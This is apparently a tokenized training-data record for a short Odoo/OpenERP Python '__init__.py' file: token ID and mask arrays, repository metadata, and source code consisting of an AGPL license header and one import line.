[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 22602, 24, 14, 647, 446, 2670, 2018, 1350, 1233, 10803, 12, 7182, 370, 13663, 1695, 199, 3, 1898, 334, 35, 9, 8315, 13, 8664, 7135, 72, 1189, 445, 14, 6848, 335, 14385, 665, 31073, 1189, 32, 293, 335, 14385, 14, 846, 30, 199, 3, 1898, 334, 35, 9, 8937, 13, 7280, 481, 320, 640, 1323, 73, 429, 31627, 665, 28233, 640, 14, 6865, 429, 31627, 32, 6799, 14, 957, 30, 199, 3, 1898, 334, 35, 9, 6927, 473, 290, 491, 1024, 665, 5653, 18387, 1046, 2025, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 8779, 365, 11882, 10009, 12, 2867, 402, 11204, 12, 370, 1263, 4954, 199, 3, 12408, 282, 1331, 402, 642, 2032, 436, 4568, 3794, 1584, 199, 3, 334, 1589, 298, 10337, 1288, 370, 7962, 315, 314, 2290, 1928, 10588, 12, 199, 3, 5893, 1928, 12305, 314, 4481, 370, 675, 12, 1331, 12, 2811, 12, 5389, 12, 199, 3, 2780, 12, 11207, 12, 13473, 12, 436, 15, 269, 12743, 6866, 402, 314, 2290, 12, 199, 3, 436, 370, 11291, 12103, 370, 12676, 314, 2290, 365, 13985, 370, 886, 880, 12, 199, 3, 5420, 370, 314, 2569, 3704, 26, 199, 3, 199, 3, 710, 3432, 4248, 4245, 436, 642, 4983, 4245, 10989, 506, 199, 3, 5120, 315, 1006, 6866, 503, 13393, 12468, 402, 314, 2290, 14, 199, 3, 199, 3, 2334, 4141, 2281, 7049, 298, 1179, 2281, 401, 2428, 3408, 1634, 1821, 3826, 12, 199, 3, 7168, 1549, 5292, 12, 6931, 5400, 2845, 5471, 2296, 2334, 2990, 1634, 199, 3, 3169, 12, 3092, 2381, 437, 3115, 3104, 2401, 199, 3, 13229, 14, 1621, 4825, 6461, 7000, 2334, 10610, 1549, 5877, 8164, 199, 3, 6262, 7024, 2381, 1821, 13140, 12, 6736, 1549, 5010, 5603, 12, 7061, 1621, 1261, 199, 3, 9612, 1634, 7066, 12, 7056, 1549, 7334, 12, 7043, 4442, 12, 5738, 1634, 1549, 1621, 199, 3, 11287, 1663, 2334, 4141, 1549, 2334, 4815, 1549, 5010, 13198, 1621, 2334, 199, 3, 4141, 14, 199, 199, 82, 624, 199, 1799, 2018, 1350, 1233, 10803, 12, 7182, 370, 13663, 1695, 14, 199, 199, 1858, 4503, 436, 282, 769, 402, 1511, 12, 862, 642, 26, 199, 4, 2366, 22602, 24, 14, 647, 446, 72, 199, 199, 2765, 2240, 436, 2399, 10864, 511, 5241, 12166, 2348, 26, 199, 1014, 921, 5031, 14, 957, 15, 22760, 293, 335, 14385, 15, 12636, 24, 199, 199, 10177, 402, 2552, 436, 3598, 26, 199, 37, 2552, 199, 55, 3598, 199, 1960, 14311, 199, 1840, 8139, 199, 5863, 4596, 2385, 199, 5303, 8925, 199, 5783, 1004, 2582, 199, 6683, 17831, 199, 15946, 9834, 199, 17518, 6302, 1125, 199, 624, 199, 504, 636, 2443, 363, 492, 543, 63, 6242, 199, 199, 646, 747, 199, 646, 984, 199, 646, 295, 199, 646, 900, 199, 646, 6485, 199, 646, 4252, 199, 646, 13343, 199, 504, 8691, 492, 13491, 199, 504, 15951, 492, 15951, 199, 893, 26, 272, 687, 21230, 492, 13480, 15218, 272, 687, 5890, 492, 4516, 29365, 199, 2590, 3545, 26, 272, 687, 14196, 492, 13480, 15218, 199, 199, 363, 1023, 363, 275, 283, 17, 14, 22, 14, 16, 65, 16, 7, 199, 199, 3472, 63, 1438, 13958, 275, 1987, 6836, 12, 35, 7428, 18485, 10582, 82, 18485, 9208, 18485, 3187, 12, 363, 647, 1637, 3108, 14, 475, 88, 7, 199, 3472, 63, 11209, 275, 283, 37, 10753, 12, 37, 4288, 12, 37, 7957, 12, 37, 11085, 12, 37, 1194, 12, 37, 32170, 7, 199, 893, 26, 272, 340, 984, 14, 3246, 508, 283, 2676, 708, 356, 267, 6186, 63, 5569, 275, 747, 14, 515, 14, 12131, 8, 82, 27547, 4537, 12636, 24, 358, 272, 587, 26, 267, 6186, 63, 5569, 275, 747, 14, 515, 14, 904, 8, 736, 14, 12959, 360, 18184, 39, 63, 5569, 63, 9524, 358, 503, 4228, 747, 14, 515, 14, 12131, 21114, 8083, 888, 659, 283, 12636, 24, 358, 199, 2590, 3545, 26, 272, 6186, 63, 5569, 275, 488, 199, 199, 10797, 63, 5569, 275, 661, 2758, 14, 4128, 297, 283, 475, 88, 14, 2730, 297, 1987, 12636, 24, 358, 199, 2864, 6195, 4427, 63, 3243, 275, 747, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 283, 14239, 358, 199, 4283, 63, 6174, 63, 9127, 275, 14711, 199, 17356, 63, 4807, 275, 469, 272, 283, 885, 356, 9487, 515, 9, 83, 19648, 1143, 9, 68, 19648, 761, 9, 68, 26, 2818, 600, 9, 83, 2818, 505, 9, 83, 297, 272, 283, 26324, 356, 9487, 515, 9, 83, 19648, 1143, 9, 68, 26, 359, 2840, 600, 9, 83, 61, 2818, 505, 9, 83, 297, 199, 93, 199, 199, 2713, 5487, 63, 10452, 63, 11307, 275, 6619, 199, 12567, 44, 775, 23300, 275, 9522, 2941, 797, 297, 283, 403, 297, 283, 549, 1105, 199, 32187, 275, 9522, 8, 6691, 14, 829, 513, 435, 788, 1361, 1105, 446, 428, 1206, 44, 775, 23300, 199, 31401, 63, 15598, 19033, 275, 9522, 2941, 1140, 297, 23940, 297, 24999, 32278, 2475, 1105, 199, 689, 1571, 3940, 948, 63, 1938, 275, 9522, 2941, 538, 297, 24999, 17220, 18290, 297, 32278, 2475, 1105, 199, 5035, 63, 21008, 63, 15598, 19033, 275, 4160, 1571, 3940, 948, 63, 1938, 14, 8888, 2941, 62, 297, 7673, 297, 11280, 297, 27407, 297, 283, 1140, 297, 1543, 1105, 199, 5035, 63, 6388, 25953, 63, 15598, 19033, 275, 9522, 779, 272, 23940, 4009, 6438, 4009, 1994, 4009, 18290, 4009, 6681, 4009, 2475, 4009, 31326, 2650, 4206, 30243, 26120, 272, 1543, 4009, 14452, 4009, 7673, 4009, 11280, 4009, 283, 389, 297, 2650, 4009, 12696, 4009, 27407, 4009, 283, 1140, 4009, 26143, 1105, 199, 20620, 275, 9522, 360, 971, 84, 358, 199, 28758, 275, 9522, 779, 15246, 14, 14176, 12, 13343, 14, 28758, 566, 199, 13525, 63, 8803, 51, 275, 18689, 6174, 14, 8888, 779, 15246, 14, 29080, 12, 13343, 14, 8280, 1309, 566, 199, 3, 12539, 8803, 365, 15572, 701, 1771, 10406, 315, 2018, 650, 199, 13525, 63, 10973, 51, 275, 27885, 63, 8803, 51, 14, 8888, 779, 15246, 14, 10973, 12, 13343, 14, 3170, 8803, 566, 199, 34, 742, 1244, 10520, 63, 17434, 275, 788, 12629, 297, 283, 1725, 297, 283, 7954, 2385, 297, 283, 15020, 2385, 418, 199 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 22602, 24, 14, 647, 446, 2670, 2018, 1350, 1233, 10803, 12, 7182, 370, 13663, 1695, 199, 3, 1898, 334, 35, 9, 8315, 13, 8664, 7135, 72, 1189, 445, 14, 6848, 335, 14385, 665, 31073, 1189, 32, 293, 335, 14385, 14, 846, 30, 199, 3, 1898, 334, 35, 9, 8937, 13, 7280, 481, 320, 640, 1323, 73, 429, 31627, 665, 28233, 640, 14, 6865, 429, 31627, 32, 6799, 14, 957, 30, 199, 3, 1898, 334, 35, 9, 6927, 473, 290, 491, 1024, 665, 5653, 18387, 1046, 2025, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 8779, 365, 11882, 10009, 12, 2867, 402, 11204, 12, 370, 1263, 4954, 199, 3, 12408, 282, 1331, 402, 642, 2032, 436, 4568, 3794, 1584, 199, 3, 334, 1589, 298, 10337, 1288, 370, 7962, 315, 314, 2290, 1928, 10588, 12, 199, 3, 5893, 1928, 12305, 314, 4481, 370, 675, 12, 1331, 12, 2811, 12, 5389, 12, 199, 3, 2780, 12, 11207, 12, 13473, 12, 436, 15, 269, 12743, 6866, 402, 314, 2290, 12, 199, 3, 436, 370, 11291, 12103, 370, 12676, 314, 2290, 365, 13985, 370, 886, 880, 12, 199, 3, 5420, 370, 314, 2569, 3704, 26, 199, 3, 199, 3, 710, 3432, 4248, 4245, 436, 642, 4983, 4245, 10989, 506, 199, 3, 5120, 315, 1006, 6866, 503, 13393, 12468, 402, 314, 2290, 14, 199, 3, 199, 3, 2334, 4141, 2281, 7049, 298, 1179, 2281, 401, 2428, 3408, 1634, 1821, 3826, 12, 199, 3, 7168, 1549, 5292, 12, 6931, 5400, 2845, 5471, 2296, 2334, 2990, 1634, 199, 3, 3169, 12, 3092, 2381, 437, 3115, 3104, 2401, 199, 3, 13229, 14, 1621, 4825, 6461, 7000, 2334, 10610, 1549, 5877, 8164, 199, 3, 6262, 7024, 2381, 1821, 13140, 12, 6736, 1549, 5010, 5603, 12, 7061, 1621, 1261, 199, 3, 9612, 1634, 7066, 12, 7056, 1549, 7334, 12, 7043, 4442, 12, 5738, 1634, 1549, 1621, 199, 3, 11287, 1663, 2334, 4141, 1549, 2334, 4815, 1549, 5010, 13198, 1621, 2334, 199, 3, 4141, 14, 199, 199, 82, 624, 199, 1799, 2018, 1350, 1233, 10803, 12, 7182, 370, 13663, 1695, 14, 199, 199, 1858, 4503, 436, 282, 769, 402, 1511, 12, 862, 642, 26, 199, 4, 2366, 22602, 24, 14, 647, 446, 72, 199, 199, 2765, 2240, 436, 2399, 10864, 511, 5241, 12166, 2348, 26, 199, 1014, 921, 5031, 14, 957, 15, 22760, 293, 335, 14385, 15, 12636, 24, 199, 199, 10177, 402, 2552, 436, 3598, 26, 199, 37, 2552, 199, 55, 3598, 199, 1960, 14311, 199, 1840, 8139, 199, 5863, 4596, 2385, 199, 5303, 8925, 199, 5783, 1004, 2582, 199, 6683, 17831, 199, 15946, 9834, 199, 17518, 6302, 1125, 199, 624, 199, 504, 636, 2443, 363, 492, 543, 63, 6242, 199, 199, 646, 747, 199, 646, 984, 199, 646, 295, 199, 646, 900, 199, 646, 6485, 199, 646, 4252, 199, 646, 13343, 199, 504, 8691, 492, 13491, 199, 504, 15951, 492, 15951, 199, 893, 26, 272, 687, 21230, 492, 13480, 15218, 272, 687, 5890, 492, 4516, 29365, 199, 2590, 3545, 26, 272, 687, 14196, 492, 13480, 15218, 199, 199, 363, 1023, 363, 275, 283, 17, 14, 22, 14, 16, 65, 16, 7, 199, 199, 3472, 63, 1438, 13958, 275, 1987, 6836, 12, 35, 7428, 18485, 10582, 82, 18485, 9208, 18485, 3187, 12, 363, 647, 1637, 3108, 14, 475, 88, 7, 199, 3472, 63, 11209, 275, 283, 37, 10753, 12, 37, 4288, 12, 37, 7957, 12, 37, 11085, 12, 37, 1194, 12, 37, 32170, 7, 199, 893, 26, 272, 340, 984, 14, 3246, 508, 283, 2676, 708, 356, 267, 6186, 63, 5569, 275, 747, 14, 515, 14, 12131, 8, 82, 27547, 4537, 12636, 24, 358, 272, 587, 26, 267, 6186, 63, 5569, 275, 747, 14, 515, 14, 904, 8, 736, 14, 12959, 360, 18184, 39, 63, 5569, 63, 9524, 358, 503, 4228, 747, 14, 515, 14, 12131, 21114, 8083, 888, 659, 283, 12636, 24, 358, 199, 2590, 3545, 26, 272, 6186, 63, 5569, 275, 488, 199, 199, 10797, 63, 5569, 275, 661, 2758, 14, 4128, 297, 283, 475, 88, 14, 2730, 297, 1987, 12636, 24, 358, 199, 2864, 6195, 4427, 63, 3243, 275, 747, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 283, 14239, 358, 199, 4283, 63, 6174, 63, 9127, 275, 14711, 199, 17356, 63, 4807, 275, 469, 272, 283, 885, 356, 9487, 515, 9, 83, 19648, 1143, 9, 68, 19648, 761, 9, 68, 26, 2818, 600, 9, 83, 2818, 505, 9, 83, 297, 272, 283, 26324, 356, 9487, 515, 9, 83, 19648, 1143, 9, 68, 26, 359, 2840, 600, 9, 83, 61, 2818, 505, 9, 83, 297, 199, 93, 199, 199, 2713, 5487, 63, 10452, 63, 11307, 275, 6619, 199, 12567, 44, 775, 23300, 275, 9522, 2941, 797, 297, 283, 403, 297, 283, 549, 1105, 199, 32187, 275, 9522, 8, 6691, 14, 829, 513, 435, 788, 1361, 1105, 446, 428, 1206, 44, 775, 23300, 199, 31401, 63, 15598, 19033, 275, 9522, 2941, 1140, 297, 23940, 297, 24999, 32278, 2475, 1105, 199, 689, 1571, 3940, 948, 63, 1938, 275, 9522, 2941, 538, 297, 24999, 17220, 18290, 297, 32278, 2475, 1105, 199, 5035, 63, 21008, 63, 15598, 19033, 275, 4160, 1571, 3940, 948, 63, 1938, 14, 8888, 2941, 62, 297, 7673, 297, 11280, 297, 27407, 297, 283, 1140, 297, 1543, 1105, 199, 5035, 63, 6388, 25953, 63, 15598, 19033, 275, 9522, 779, 272, 23940, 4009, 6438, 4009, 1994, 4009, 18290, 4009, 6681, 4009, 2475, 4009, 31326, 2650, 4206, 30243, 26120, 272, 1543, 4009, 14452, 4009, 7673, 4009, 11280, 4009, 283, 389, 297, 2650, 4009, 12696, 4009, 27407, 4009, 283, 1140, 4009, 26143, 1105, 199, 20620, 275, 9522, 360, 971, 84, 358, 199, 28758, 275, 9522, 779, 15246, 14, 14176, 12, 13343, 14, 28758, 566, 199, 13525, 63, 8803, 51, 275, 18689, 6174, 14, 8888, 779, 15246, 14, 29080, 12, 13343, 14, 8280, 1309, 566, 199, 3, 12539, 8803, 365, 15572, 701, 1771, 10406, 315, 2018, 650, 199, 13525, 63, 10973, 51, 275, 27885, 63, 8803, 51, 14, 8888, 779, 15246, 14, 10973, 12, 13343, 14, 3170, 8803, 566, 199, 34, 742, 1244, 10520, 63, 17434, 275, 788, 12629, 297, 283, 1725, 297, 283, 7954, 2385, 297, 283, 15020, 2385, 418, 199, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
mustafat/odoo-1
addons/event/wizard/__init__.py
435
1067
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import event_confirm # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 421, 199, 646, 1566, 63, 9548, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 421, 199, 646, 1566, 63, 9548, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 